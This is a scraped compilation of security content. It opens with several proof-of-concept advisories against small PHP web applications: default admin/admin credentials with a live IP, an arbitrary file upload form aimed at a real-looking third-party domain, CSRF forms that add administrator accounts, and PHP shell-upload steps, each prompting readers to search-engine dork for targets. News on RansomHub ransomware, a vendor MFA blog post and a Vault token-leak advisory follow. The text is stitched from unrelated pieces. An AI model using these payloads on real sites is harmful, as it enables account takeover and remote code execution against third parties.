Loan Management System 2024 version 1.0 suffers from an ignored default credential vulnerability.

**Loan Management System 2024 1.0 Insecure Settings**

Posted Sep 2, 2024

Authored by indoushka

Loan Management System 2024 version 1.0 suffers from an ignored default credential vulnerability.

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**Loan Management System 2024 1.0 Insecure Settings**

    =============================================================================================================================================| # Title     : Loan Management System 2024 v1.0 Insecure Settings Vulnerability                                                            || # Author    : indoushka                                                                                                                   || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 125.0.1 (64 bits)                                                            || # Vendor    : https://www.sourcecodester.com/php/15529/loan-management-system-oop-php-mysqlijquery-free-source-code.html                  |=============================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] Insecure Settings : appears to leave a default administrative account in place post installation.[+] use payload : user =  admin & pass = admin[+] https://www/127.0.0.1/165.232.176.12/index.phpGreetings to :==================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R |================================================================

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Loan Management System 2024 1.0 Insecure Settings

Hostel Management System version 1.0 version 1.0 suffers from an arbitrary file upload vulnerability.

    =============================================================================================================================================| # Title     : hostel management system 1.0 arbitrary file upload Vulnerability                                                            || # Author    : indoushka                                                                                                                   || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 129.0.1 (64 bits)                                                            || # Vendor    : https://phpgurukul.com/hostel-management-system/                                                                            |=============================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] Line : 9 Set your Target[+] Save As poc.html[+] payload :<!DOCTYPE html><html lang="en"><head>    <meta charset="UTF-8">    <meta name="viewport" content="width=device-width, initial-scale=1.0">    <title>Complaint Form</title></head><body>    <form name="complaint" action="https://guardianpg.in/hostel/register-complaint.php" method="POST" enctype="multipart/form-data">        <label for="ctype">Complaint Type:</label>        <select name="ctype" id="ctype">            <option value="type1">Type 1</option>            <option value="type2">Type 2</option>            <option value="type3">Type 3</option>        </select><br><br>        <label for="cdetails">Complaint Details:</label><br>        <textarea name="cdetails" id="cdetails" rows="4" cols="50"></textarea><br><br>        <label for="image">Upload Image:</label>        <input type="file" name="image" id="image"><br><br>        <input type="submit" name="submit" value="Submit Complaint">    </form></body></html>[+] your Files : http://127.0.0.1/Hostel-Management-Syste-Updated-Code/hostel/comnplaintdoc/Greetings to :============================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr |==========================================================================

Hostel Management System 1.0 Arbitrary File Upload

File Management System version 1.0 suffers from a cross site request forgery vulnerability.

    =============================================================================================================================================| # Title     : File Management System 1.0 CSRF Add Admin Vulnerability                                                                     || # Author    : indoushka                                                                                                                   || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 128.0.3 (64 bits)                                                            || # Vendor    : https://www.campcodes.com/downloads/file-management-system-in-php-mysql-source-code/?wpdmdl=7992&refresh=66bba3bd946da1723573181                           |=============================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] Line 1 : Set your target.[+] Save As poc.html[+] Payload :  <form action="http://127.0.0.1/filemanagement/Private_Dashboard/create_Admin.php" method="POST">  <div class="modal-dialog" role="document">    <div class="modal-content">      <div class="modal-header text-center">        <h4 class="modal-title w-100 font-weight-bold"><i class="fas fa-user-plus"></i> Add Admin</h4>        <button type="button" class="close" data-dismiss="modal" aria-label="Close">          <span aria-hidden="true">&times;</span>        </button>      </div>      <div class="modal-body mx-3">           <div class="md-form mb-5">          <input type="hidden" id="orangeForm-name" name="status" value = "Admin" class="form-control validate">        </div>        <div class="md-form mb-5">          <i class="fas fa-user prefix grey-text"></i>          <input type="text" id="orangeForm-name" name="name" class="form-control validate" required="">          <label data-error="wrong" data-success="right" for="orangeForm-name">Your name</label>        </div>        <div class="md-form mb-5">          <i class="fas fa-envelope prefix grey-text"></i>          <input type="email" id="orangeForm-email" name="admin_user" class="form-control validate" required="">          <label data-error="wrong" data-success="right" for="orangeForm-email">Your email</label>        </div>        <div class="md-form mb-4">          <i class="fas fa-lock prefix grey-text"></i>          <input type="password" id="orangeForm-pass" name="admin_password" class="form-control validate" required="">          <label data-error="wrong" data-success="right" for="orangeForm-pass">Your password</label>        </div>      </div>      <div class="modal-footer d-flex justify-content-center">        <button class="btn btn-info" name="reg">Sign up</button>    Greetings to :============================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr |==========================================================================

File Management System 1.0 Cross Site Request Forgery

Faculty Evaluation System version 1.0 suffers from a cross site request forgery vulnerability.

=============================================================================================================================================  
| # Title     : Faculty Evaluation System 1.0 CSRF Add Admin Vulnerability                                                                  |  
| # Author    : indoushka                                                                                                                   |  
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 129.0.2 (64 bits)                                                            |  
| # Vendor    : https://www.sourcecodester.com/php/14710/faulty-evaluation-system-using-phpcodeigniter-source-code.html                     |  
=============================================================================================================================================

poc :

[+] Dorking İn Google Or Other Search Enggine.

[+] Line 35 : Set your target.

[+] Save As poc.html

[+] Payload :

  <!DOCTYPE html>  
<html lang="en">  
<head>  
    <meta charset="UTF-8">  
    <meta name="viewport" content="width=device-width, initial-scale=1.0">  
    <title>User Registration</title>  
</head>  
<body>

    <h2>User Registration</h2>  
    <form id="userForm" enctype="multipart/form-data">  
        <label for="email">User Name:</label>  
        <input type="email" id="email" name="email" required><br><br>

        <label for="password">Password:</label>  
        <input type="password" id="password" name="password" required><br><br>

        <div class="form-group">  
      <label for="" class="control-label">Avatar</label>  
      <div class="custom-file">  
              <input type="file" class="custom-file-input rounded-circle" id="customFile" name="img" onchange="displayImg(this,$(this))">  
              <label class="custom-file-label" for="customFile">Choose file</label>  
            </div>  
    </div>

        <input type="button" value="Save User" onclick="saveUser()">  
    </form>

    <script>  
        function saveUser() {  
            var form = document.getElementById('userForm');  
            var formData = new FormData(form);

            var xhr = new XMLHttpRequest();  
            xhr.open("POST", "http://127.0.0.1/eval/ajax.php?action=save_user", true);

            xhr.onload = function () {  
                if (xhr.status === 200) {  
                    alert('User saved successfully');  
                } else {  
                    alert('An error occurred while saving the user');  
                }  
            };

            xhr.send(formData);  
        }  
    </script>

</body>  
</html>

[+] Shell Path : http://127.0.0.1/eval/assets/uploads/

    Greetings to :============================================================  
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr |  
==========================================================================

Faculty Evaluation System 1.0 Cross Site Request Forgery

eClass LMS version 6.2.0 suffers from a remote shell upload vulnerability.

    ====================================================================================================================================| # Title     : eClass LMS v6.2.0 shell upload Vulnerability                                                                       || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 125.0.1 (64 bits)                                                   || # Vendor    : https://codecanyon.net/item/eclass-learning-management-system/25613271                                             |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] TAIF learning script contain arbitrary file upload[+] registered user can upload .php files in profile picture section without any security[+] profile link : localhost/demo/public/profile/show/[+] profile link : /demo/public/profile/show/[+] edit profile photo and upload php files and inspect element your php direction[+] uploaded file direction :local host /demo/public/images/user_img/16067501901.php <---- random id[+] just right click the photo and use inspect element you will have your directionGreetings to :==================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R |================================================================

eClass LMS 6.2.0 Shell Upload

Free Hospital Management System for Small Practices version 1.0 suffers from a cross site request forgery vulnerability.

=============================================================================================================================================  
| # Title     : Vaidya-Mitra v 1.0 CSRF Vulnerability  
                                                                   |  
| # Author    : indoushka  
                                                                   |  
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 125.0.1  
(64 bits)                                                            |  
| # Vendor    :  
https://www.sourcecodester.com/php/16720/free-hospital-management-system-small-practices.html  
                             |

=============================================================================================================================================

poc :

[+] Dorking İn Google Or Other Search Enggine.

[+] The following HTML code add new admin.

[+] Go to the line 9. Set the target site link Save changes and apply .

[+] infected file : vm/create-account.php.

[+] save code as poc.html

[+] payload :

<!DOCTYPE html>  
<html lang="en">  
<head>  
    <meta charset="UTF-8">  
    <meta name="viewport" content="width=device-width,  
initial-scale=1.0">  
    <title>Create Account</title>  
</head>  
<body>  
    <form action="http://127.0.0.1/vm/create-account.php" method="POST">  
        <label for="newemail">Email:</label>  
        <input type="email" id="newemail" name="newemail" required>  
        <br>

        <label for="tele">Telephone:</label>  
        <input type="text" id="tele" name="tele" required>  
        <br>

        <label for="newpassword">Password:</label>  
        <input type="password" id="newpassword" name="newpassword"  
required>  
        <br>

        <label for="cpassword">Confirm Password:</label>  
        <input type="password" id="cpassword" name="cpassword" required>  
        <br>

        <button type="submit">Create Account</button>  
    </form>  
</body>  
</html>

Greetings to  
:============================================================  
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr  
|

==========================================================================

Free Hospital Management System For Small Practices 1.0 CSRF

Threat actors linked to the RansomHub ransomware group encrypted and exfiltrated data from at least 210 victims since its inception in February 2024, the U.S. government said.
The victims span various sectors, including water and wastewater, information technology, government services and facilities, healthcare and public health, emergency services, food and agriculture, financial services,

Threat actors linked to the RansomHub ransomware group encrypted and exfiltrated data from at least 210 victims since its inception in February 2024, the U.S. government said.

The victims span various sectors, including water and wastewater, information technology, government services and facilities, healthcare and public health, emergency services, food and agriculture, financial services, commercial facilities, critical manufacturing, transportation, and communications critical infrastructure.

"RansomHub is a ransomware-as-a-service variant—formerly known as Cyclops and Knight—that has established itself as an efficient and successful service model (recently attracting high-profile affiliates from other prominent variants such as LockBit and ALPHV)," government agencies said.

A ransomware-as-a-service (RaaS) variant that's a descendant of Cyclops and Knight, the e-crime operation has attracted high-profile affiliates from other prominent variants such as LockBit and ALPHV (aka BlackCat) following a recent wave of law enforcement actions.

ZeroFox, in an analysis published late last month, said RansomHub's activity as a proportion of all ransomware activity observed by the cybersecurity vendor is on an upward trajectory, accounting for approximately 2% of all attacks in Q1 2024, 5.1% in Q2, and 14.2% so far in Q3.

"Approximately 34% of RansomHub attacks have targeted organizations in Europe, compared to 25% across the threat landscape," the company noted.

The group is known to employ the double extortion model to exfiltrate data and encrypt systems in order to extort victims, who are urged to contact the operators via a unique .onion URL. Targeted companies who refuse to acquiesce to the ransom demand have their information published on the data leak site for anywhere between three to 90 days.

Initial access to victim environments is facilitated by exploiting known security vulnerabilities in Apache ActiveMQ (CVE-2023-46604), Atlassian Confluence Data Center and Server (CVE-2023-22515), Citrix ADC (CVE-2023-3519), F5 BIG-IP (CVE-2023-46747), Fortinet FortiOS (CVE-2023-27997), and Fortinet FortiClientEMS (CVE-2023-48788) devices, among others.

This step is succeeded by affiliates conducting reconnaissance and network scanning using programs like AngryIPScanner, Nmap, and other living-off-the-land (LotL) methods. RansomHub attacks further involve disarming antivirus software using custom tools to fly under the radar.

"Following initial access, RansomHub affiliates created user accounts for persistence, re-enabled disabled accounts, and used Mimikatz on Windows systems to gather credentials \[T1003\] and escalate privileges to SYSTEM," the U.S. government advisory reads.

"Affiliates then moved laterally inside the network through methods including Remote Desktop Protocol (RDP), PsExec, AnyDesk, Connectwise, N-Able, Cobalt Strike, Metasploit, or other widely used command-and-control (C2) methods."

Another notable aspect of RansomHub attacks is the use of intermittent encryption to speed up the process, with data exfiltration observed through tools such as PuTTY, Amazon AWS S3 buckets, HTTP POST requests, WinSCP, Rclone, Cobalt Strike, Metasploit, and other methods.

The development comes as Palo Alto Networks Unit 42 unpacked the tactics associated with the ShinyHunters ransomware, which it tracks as Bling Libra, highlighting its shift to extorting victims as opposed to their traditional tactic of selling or publishing stolen data. The threat actor first came to light in 2020.

"The group acquires legitimate credentials, sourced from public repositories, to gain initial access to an organization's Amazon Web Services (AWS) environment," security researchers Margaret Zimmermann and Chandni Vaya said.

"While the permissions associated with the compromised credentials limited the impact of the breach, Bling Libra infiltrated the organization's AWS environment and conducted reconnaissance operations. The threat actor group used tools such as the Amazon Simple Storage Service (S3) Browser and WinSCP to gather information on S3 bucket configurations, access S3 objects and delete data."

It also follows a significant evolution in ransomware attacks, which have moved beyond file encryption to employ complex, multi-faceted extortion strategies, even employing triple and quadruple extortion schemes, per SOCRadar.

"Triple extortion ups the ante, threatening additional means of disruption beyond encryption and exfiltration," the company said.

"This might involve conducting a DDoS attack against the victim's systems or extending direct threats to the victim's clients, suppliers, or other associates to wreak further operational and reputational damage on those ultimately targeted in the extortion scheme."

Quadruple extortion ups the ante by contacting third-parties that have business relationships with the victims and extorting them, or threatening victims to expose data from third-parties to heap further pressure on a victim to pay up.

The lucrative nature of RaaS models has fueled a surge in new ransomware variants like Allarich, Cronus, CyberVolk, Datablack, DeathGrip, Hawk Eye, and Insom. It has also led Iranian nation-state actors to collaborate with known groups like NoEscape, RansomHouse, and BlackCat in return for a cut of the illicit proceeds.

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RansomHub Ransomware Group Targets 210 Victims Across Critical Sectors

The world of cybersecurity is in a constant state of flux. New vulnerabilities emerge daily, and attackers are becoming more sophisticated.
In this high-stakes game, security leaders need every advantage they can get. That's where Artificial Intelligence (AI) comes in. AI isn't just a buzzword; it's a game-changer for vulnerability management.
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AI is poised to revolutionize vulnerability management in the coming years. It enables security teams to:

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The FBI and CISA Issue Joint Advisory on New Threats and How to Stop Ransomware
Note: on August 29, the FBI and CISA issued a joint advisory as part of their ongoing #StopRansomware effort to help organizations protect against ransomware. The latest advisory, AA24-242A, describes a new cybercriminal group and its attack methods. It also details three important actions to take today to mitigate

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****The FBI and CISA Issue Joint Advisory on New Threats and How to Stop Ransomware****

_Note: on August 29, the FBI and CISA issued a joint advisory as part of their ongoing #StopRansomware effort to help organizations protect against ransomware. The latest advisory, AA24-242A, describes a new cybercriminal group and its attack methods. It also details three important actions to take today to mitigate cyber threats from ransomware – Installing updates as soon as they are released, requiring phishing-resistant MFA (i.e. non-SMS text-based), and training users._

The growth in the number of victims of ransomware attacks and data breaches has become so profound that the new cyber defense challenge is just keeping up with the number of new attacks and disclosures from victims. This is the product of stunning advancements in cybercriminal attack methods combined with a too-slow response by many organizations in adjusting to new attack methods. As predicted, Generative AI has indeed been a game changer for cybercriminals attacking organizations and it mandates urgent adjustments to cyber defense strategies.

Through this remarkable transformation in threats, one thing that hasn't changed is the inherent human limitations of everyday users and this is why they are the preferred target for cybercriminals. No amount of training will ever imbue the average user with the super-skills required to detect advanced phishing campaigns or sophisticated deep fakes.

To understand the impact, Token set out to collect perspectives on this pressing subject from cybersecurity leaders in their own words. To accomplish this, Token commissioned Datos Insights, a leading global data and advisory services firm for this research study that reveals the insights and perspectives of leading CISOs and workforce MFA leaders across the U.S. Datos Insights ditched the overused multiple choice questionnaire approach and conducted qualitative 60-minute video interviews to examine CISO perspectives in depth. In this article, we will examine the valuable insights gained from the research.

****CISOs are unanimous that user vulnerabilities are their number one risk****

Attack vectors are advancing in sophistication through the adoption of artificial intelligence capabilities, specifically generative AI, making them more difficult for CISOs and their teams to defend against. Cybercriminals most frequently target employees at large organizations through phishing attacks to gain network access. CISA reports that 90% of ransomware attacks are the result of phishing.

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Advanced Phishing Attacks remain the most effective tool in a hacker's arsenal. These attacks have become more targeted and sophisticated with the use of Gen AI. Gen AI also enables the launching of spear phishing attacks targeted at specific individuals within an organization on a large scale and with greater detail, leveraging real data about the organization and its employees to appear authentic. The tell-tale signs of phishing emails are rapidly disappearing as these emails are increasingly indistinguishable from legitimate communications. This will soon negate the value of user training.

The above is further compounded by the rise of Deepfake technology as Gen AI has given birth to new forms of social engineering attacks. Cybercriminals are now using AI-generated voices and videos to impersonate executives and other trusted individuals. These are being executed via phone calls from trusted phone numbers that are spoofed by the attackers and via Zoom conference calls where cybercriminals impersonate known and trusted colleagues. Attackers have been successful in convincing employees to transfer funds, share credentials, and perform other actions that can compromise security. These attacks exploit the inherent trust that employees place in familiar voices and faces, making them exceptionally dangerous.

The tools to conduct these attacks are now available to billions on the dark web with no specialized skills required. Phishing and ransomware attacks were once the exclusive realm of expert cybercriminals, but with the advent of generative AI and new cybercrime tools, launching these attacks has become accessible to anyone with access to the dark web, which is anyone with a computing device and an internet connection. Ransomware-as-a-Service (RaaS) and AI-driven tools available on the dark web have simplified the process, eliminating the need for advanced skills. This shift enables individuals with minimal technical knowledge to execute sophisticated cyberattacks with just a computer and internet connection. The gig economy meets the next generation of cyber attacks.

****New attacks require new defense strategies****

Phishing-Resistant MFA Adoption is critical and no longer a nice to have. With phishing attacks as the top cyber threat for enterprises, legacy MFA is being proven increasingly inadequate as the numbers of victims substantiate. Many legacy MFA solutions are decades-old technology. The current report highlights the urgency of deploying phishing-resistant, next-generation MFA solutions, especially in the face of AI-enhanced phishing attacks. CISOs should accelerate the shift toward MFA solutions that are hardware-based, use biometrics, and are FIDO compliant. These significantly mitigate phishing and ransomware attacks and would have prevented the overwhelming majority of current ransomware attacks saving organizations a combined billions of dollars in losses in the last year alone.

Next-generation MFA is best implemented with targeted deployments for privileged users. The report emphasizes the importance of prioritizing the deployment of next-generation MFA to high-risk users within the enterprise, particularly systems administrators and executives. CISOs need to improve risk management for System Administrators despite having privileged access management (PAM) solutions. "PAM solutions have functioned as the historical norm for CISOs managing system admin risks." The rise of phishing and insider attacks necessitates that CISOs prioritize MFA upgrade deployments at this important business risk. The report found that senior executives at many firms lack robust security solutions aligned with their business functions and business risk. Almost none of the CISOs interviewed had distinct controls deployed for their executive users. With spear-phishing and other techniques on the rise, this gap was unexpected and troubling.

****Conclusion****

The techniques used by cybercriminals are constantly evolving, but never so rapidly as over the past twelve months. We have surpassed the capacity of our users to be our first line of cyber defense and we have not given them any new tools beyond those developed years or decades ago. By staying informed about the latest threats and implementing a multi-layered defense strategy that emphasizes upgrading to phishing-resistant, next-generation MFA, organizations can protect their users' identities and stop cybercriminals from gaining unauthorized access to data and sensitive operations. Protecting your users from new attacks requires vigilance, education, and the right tools. By prioritizing these areas, organizations can significantly reduce the risk of a successful cyberattack and maintain the trust of their customers and stakeholders.

Learn more about how Token's Next-Generation MFA can stop phishing and ransomware from harming your organization at tokenring.com

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Next-Generation Attacks, Same Targets - How to Protect Your Users' Identities

Vault Community Edition and Vault Enterprise experienced a regression where functionality that HMAC’d sensitive headers in the configured audit device, specifically client tokens and token accessors, was removed. This resulted in the plaintext values of client tokens and token accessors being stored in the audit log. This vulnerability, CVE-2024-8365, was fixed in Vault Community Edition and Vault Enterprise 1.17.5 and Vault Enterprise 1.16.9.

**Vault Leaks Client Token and Token Accessor in Audit Devices**

Moderate severity GitHub Reviewed Published Sep 2, 2024 to the GitHub Advisory Database • Updated Sep 3, 2024

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